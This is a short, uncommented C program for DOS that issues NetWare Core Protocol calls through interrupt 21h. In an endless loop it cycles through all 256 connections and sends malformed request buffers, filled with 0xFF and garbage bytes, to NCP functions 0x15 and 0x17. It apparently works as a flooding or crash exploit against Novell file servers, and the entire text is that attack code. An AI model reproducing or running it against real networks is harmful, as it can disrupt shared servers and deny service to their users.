#include #include #include void DosAlloc ( _go32_dpmi_seginfo *hand, unsigned short bytes, unsigned short *seg, unsigned short *off, unsigned long *lin ) { hand->size = (bytes*2 + 15) / 16; _go32_dpmi_allocate_dos_memory(hand); *lin = hand->rm_segment << 4; if ( (((*lin)&0xffff)+bytes) > 0xffff) *lin = ((*lin)-((*lin)&0xffff)) + 0x10000; *seg = (*lin) / 16; *off = (*lin) % 16; } int ncp(int f,void *req,int rl,void *ans,int al) { __dpmi_regs r; _go32_dpmi_seginfo handler,handler2; unsigned long linear, linear2; unsigned short segment, offset, segment2, offset2; memset(&r,0,sizeof(r)); DosAlloc(&handler,rl,&segment,&offset,&linear); DosAlloc(&handler2,al,&segment2,&offset2,&linear2); r.x.cx=rl; r.x.dx=al; r.x.ds=segment; r.x.si=offset; dosmemput(req,rl,linear); r.x.es=segment2; r.x.di=offset2; r.x.ax=0xf200|f; __dpmi_int(0x21,&r); _go32_dpmi_free_dos_memory(&handler); _go32_dpmi_free_dos_memory(&handler2); return(r.h.al); } int setconn(int c) {_go32_dpmi_registers r; memset(&r,0,sizeof(r)); r.x.ax=0xf000; r.x.dx=c+1; _go32_dpmi_simulate_int(0x21,&r); } void main() {int i; char *req=(char *)calloc(1,sizeof(char)*160); unsigned char rep[100]; req[0]=0; for (i=1;i<7;i++) req[i]=0xff; for (i=9;i<160;i++) req[i]=i*i+i; for(;;) { for (i=0;i<256;i++) setconn(i); req[2]=0x00; ncp(0x15,req,160,rep,100); req[2]=0x0A; ncp(0x15,req,160,rep,100); req[2]=0xFD; ncp(0x17,req,160,rep,100); req[2]=0xD1; ncp(0x17,req,160,rep,100); } }